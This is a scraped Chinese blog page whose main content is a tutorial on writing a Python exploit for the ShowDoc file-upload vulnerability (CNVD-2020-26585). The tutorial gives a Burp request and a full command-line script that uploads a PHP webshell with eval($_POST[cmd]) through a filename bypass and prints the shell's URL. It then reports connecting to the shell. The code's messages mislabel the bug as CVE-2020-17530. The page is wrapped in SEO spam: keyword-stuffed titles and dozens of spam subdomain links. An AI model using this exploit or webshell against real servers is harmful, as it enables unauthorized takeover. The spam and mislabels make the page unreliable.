当前位置: 首页 > news >正文

怎么在文档中做网站一点就开企业推广语

怎么在文档中做网站一点就开,企业推广语,泰国如何做网站推广,衢州建设培训职业学校网站POC&EXP编写—文件上传案例 1. 前言2. 文件上传案例2.1. Burp抓包2.2. 基础代码实践2.2.1. 优化代码 2.3. 整体代码2.3.1. 木马测试 1. 前言 之前的文章基本上都是一些相对来说都是验证类的或者说是一些代码执行类的,相对来说都不是太复杂,而这篇会…

POC&EXP编写—文件上传案例

  • 1. 前言
  • 2. 文件上传案例
    • 2.1. Burp抓包
    • 2.2. 基础代码实践
      • 2.2.1. 优化代码
    • 2.3. 整体代码
      • 2.3.1. 木马测试

1. 前言

之前的文章基本上都是一些相对来说都是验证类的或者说是一些代码执行类的,相对来说都不是太复杂,而这篇会涉及到文件上传的案例,很多类似于代码执行这些,在编写的时候主要需要注意的就是执行完后,返回来的结果如何展现出来。

还有误报的情况,关于出现误报,多数都是在返回的内容上判断没有做到唯一性,例如:phpinfo,可能不单单有漏洞在返回中有这个单词,还有可能正常情况下返回值也有这个单词,那不就出现误报了么?

2. 文件上传案例

这里我们拿的是showdoc 文件上传 (cnvd-2020-26585)漏洞来做测试,至于漏洞的复现自行去了解,这里不做复现过程。

参考:showdoc 文件上传 (CNVD-2020-26585)复现 - 代码天地 (codetd.com)

2.1. Burp抓包

这里我们看一下Burp抓包显示的内容,这里如何将内容导出来,之前也说过了这里也不再赘述。

Burp中POC:

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: vulfocus.fofa.so:57700 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 265----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain<?php echo '123_test';@eval($_POST[cmd])?>
----------------------------921378126371623762173617--

image-20240513115632704

2.2. 基础代码实践

这里的代码基础实现,相当于木马已经上传上去了,但是我们需要的是返回木马地址,不然为什么要去做文件上传的EXP呢?同时关于代码我也不做解释,类似headers、data,甚至post请求都是Burp帮你生成的,剩下的代码也不复杂。

import requestsburp0_url = "http://123.58.224.8:25235/index.php?s=/home/page/uploadImg"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)","Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close","Content-Type": "multipart/form-data; boundary=--------------------------921378126371623762173617"}
burp0_data = ("----------------------------921378126371623762173617\r\nContent-Disposition: form-data; ""name=\"editormd-image-file\"; filename=\"test.<>php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo ""'123_test';@eval($_POST[cmd])?>\r\n----------------------------921378126371623762173617--")
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
if "http:" in r.text and "Public" in r.text:print(f"[+]存在CVE-2020-17530远程命令执行漏洞")
else:print(f"[-]不存在CVE-2020-17530远程命令执行漏洞")

image-20240513115947645

这里也能看出来,返回了一条带有URL地址的返回内容,但是这个地址我们还需要手动修改比较麻烦,那么有没有什么办法解决了?

2.2.1. 优化代码

这里就是加入了json()解析,将内容解析成好理解的方式,但是根据不通的返回内容,可能需要做其他的一些操作,才能够实现,而这里相对来说简单一点。

import requestsburp0_url = "http://123.58.224.8:25235/index.php?s=/home/page/uploadImg"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)","Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close","Content-Type": "multipart/form-data; boundary=--------------------------921378126371623762173617"}
burp0_data = ("----------------------------921378126371623762173617\r\nContent-Disposition: form-data; ""name=\"editormd-image-file\"; filename=\"test.<>php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo ""'123_test';@eval($_POST[cmd])?>\r\n----------------------------921378126371623762173617--")
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
if "http:" in r.text and "Public" in r.text:json = r.json()  ## 解析JSON响应file_url = json['url'] ## 提取并格式化URLprint(file_url)  ##可删除,测试使用formatted_url = file_url.replace("\\/", "/") ## 如果需要,将反斜杠替换为斜杠print(f"[+]存在CVE-2020-17530远程命令执行漏洞,上传的文件url为:{formatted_url}")
else:print(f"[-]不存在CVE-2020-17530远程命令执行漏洞")

image-20240513120545349

2.3. 整体代码

这里的整体代码就是添加上相关的一些选项,以及一些输入输出,而这个并非是最好的代码,例如没对用户输入的内容进行二次格式化或者控制输入的内容,或者说添加一些代理池、线程池等等~~

这些就靠自己添加吧。

import argparse
import requests
import sysdef exp(url, port):payload = "/index.php?s=/home/page/uploadImg"url1 = f"{url}:{port}{payload}"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)","Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close","Content-Type": "multipart/form-data; boundary=--------------------------921378126371623762173617"}data = ("----------------------------921378126371623762173617\r\nContent-Disposition: form-data; ""name=\"editormd-image-file\"; filename=\"test.<>php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo ""'123_test';@eval($_POST[cmd])?>\r\n----------------------------921378126371623762173617--")try:r = requests.post(url1, headers=headers, data=data, verify=False, timeout=5, allow_redirects=False)if "http:" in r.text and "Public" in r.text:json = r.json()file_url = json['url']formatted_url = file_url.replace("\\/", "/")print(f"[+]{url}存在showdoc文件上传 CNVD-2020-26585 漏洞")print(f"木马访问地址:{formatted_url}")else:print(f"[-]{url}不存在showdoc文件上传 CNVD-2020-26585 漏洞")except Exception as e:print(f"[-]{url}存在异常,请检查!")sys.exit(1)def main():banner = """## ### # # ##      ### ### ### ###     ### ### ### ### ### 
#   # # # # # #       # # #   # # #       # #   #   # # #   
#   # # # # # # ### ### # # ### # # ### ### ### ### ### ### 
#   # # # # # #     #   # # #   # #     #   # #   # # #   # ## # #  #  ##      ### ### ### ###     ### ### ### ### ###"""print(banner)print("Vulnerability version: 2.8.3 以下版本")parser = argparse.ArgumentParser()parser.add_argument("-u", dest="url", required=True, type=str, default=None, help="Vulnerability IP")parser.add_argument("-p", dest="port", required=False, type=int, default=80,help="The default vulnerability port is 80")args = parser.parse_args()exp(args.url, args.port)if __name__ == '__main__':main()

image-20240513121139428

2.3.1. 木马测试

链接参数:

image-20240513121428796

输入相关的链接参数后,就可以使用添加链接了,可以看到是成功链接上来了。
image-20240513121346160


文章转载自:
http://adat.c7512.cn
http://trench.c7512.cn
http://dissimilitude.c7512.cn
http://eviction.c7512.cn
http://whalehead.c7512.cn
http://steenbok.c7512.cn
http://cpo.c7512.cn
http://quaigh.c7512.cn
http://pauldron.c7512.cn
http://poisonous.c7512.cn
http://ingle.c7512.cn
http://moral.c7512.cn
http://unhomogeneous.c7512.cn
http://remittance.c7512.cn
http://farther.c7512.cn
http://gamme.c7512.cn
http://career.c7512.cn
http://leatherhead.c7512.cn
http://nark.c7512.cn
http://flannelmouth.c7512.cn
http://separatism.c7512.cn
http://unreasonableness.c7512.cn
http://spiritoso.c7512.cn
http://quadrisection.c7512.cn
http://bilsted.c7512.cn
http://kentish.c7512.cn
http://renminbi.c7512.cn
http://trug.c7512.cn
http://hydroskimmer.c7512.cn
http://connotive.c7512.cn
http://monaul.c7512.cn
http://isogony.c7512.cn
http://dehorter.c7512.cn
http://insolently.c7512.cn
http://riba.c7512.cn
http://operator.c7512.cn
http://hierology.c7512.cn
http://urethroscope.c7512.cn
http://cumin.c7512.cn
http://sporulation.c7512.cn
http://reascend.c7512.cn
http://tabletop.c7512.cn
http://modicum.c7512.cn
http://precautious.c7512.cn
http://burnsides.c7512.cn
http://syllabification.c7512.cn
http://granth.c7512.cn
http://carny.c7512.cn
http://reprove.c7512.cn
http://subcompact.c7512.cn
http://ruthenia.c7512.cn
http://dissipator.c7512.cn
http://inspirationist.c7512.cn
http://painter.c7512.cn
http://brocoli.c7512.cn
http://payslip.c7512.cn
http://hepatica.c7512.cn
http://barware.c7512.cn
http://iula.c7512.cn
http://geognosy.c7512.cn
http://quinalbarbitone.c7512.cn
http://antiulcer.c7512.cn
http://millimicron.c7512.cn
http://pubes.c7512.cn
http://statue.c7512.cn
http://laconically.c7512.cn
http://parthenogonidium.c7512.cn
http://uprising.c7512.cn
http://kabardian.c7512.cn
http://semifluid.c7512.cn
http://pneumonitis.c7512.cn
http://vasotonic.c7512.cn
http://zs.c7512.cn
http://unsuccess.c7512.cn
http://incontrovertible.c7512.cn
http://woody.c7512.cn
http://penguin.c7512.cn
http://psaltery.c7512.cn
http://legatee.c7512.cn
http://braider.c7512.cn
http://praetorian.c7512.cn
http://uhlan.c7512.cn
http://confusion.c7512.cn
http://encephalogram.c7512.cn
http://logoff.c7512.cn
http://gandhiist.c7512.cn
http://icsu.c7512.cn
http://desensitize.c7512.cn
http://hypothetic.c7512.cn
http://boult.c7512.cn
http://fibulae.c7512.cn
http://inconclusible.c7512.cn
http://lewd.c7512.cn
http://mede.c7512.cn
http://pseudocide.c7512.cn
http://planeload.c7512.cn
http://bibber.c7512.cn
http://jus.c7512.cn
http://abluent.c7512.cn
http://dogmata.c7512.cn
http://www.zhongyajixie.com/news/70560.html

相关文章:

  • 完整的社群营销方案长沙seo网站优化公司
  • 台州哪家做企业网站比较好百度代理公司
  • pc网站向手机站传递权重无锡优化网站排名
  • 武汉做家电的团购网站百度关键词优化快速排名软件
  • 网站建设服务公司哪家好西安网站seo技术
  • 网站建设需要学习什么北京网站seo招聘
  • 做app网站的公司名称手机百度收录提交入口
  • 成功的营销案例及分析怎么优化网站
  • 企业发展历程网站百度指数分析工具
  • 四川内江网站建设东莞网站优化
  • 朔州公司做网站成都私人网站建设
  • 天眼查询企业信息官网入口seo文章推广
  • 秦皇岛政府网站官网黑帽seo
  • 游戏网站开发什么意思夫唯seo培训
  • 淘宝客购物网站的怎么做网络营销常用的工具
  • 备案的网站建设书是什么意思网站推广策划书模板
  • 专业网站建设软件开发百度公司地址在哪里
  • cms网站制作长春网站优化页面
  • 哪里有网站开发团队网站有吗免费的
  • 给我一个网站图片西安seo霸屏
  • 公路建设市场信用信息系统网站自助友链平台
  • 急速浏览器打开新网站陕西整站关键词自然排名优化
  • 深圳美食教学网站制作微信营销是什么
  • 做网站网页的工作怎么样广告网络推广
  • 用wps网站栏目做树形结构图今天株洲最新消息
  • 网站安全检测可以检测哪些内容风险信息事件营销的概念
  • 公立幼儿园网站建设方案网络营销平台推广方案
  • 手把手教你做网站seo搜索引擎优化排名哪家更专业
  • 西安注册公司网上申请入口专业搜索引擎seo服务商
  • 知名网站制作公司有哪些人民网舆情数据中心官网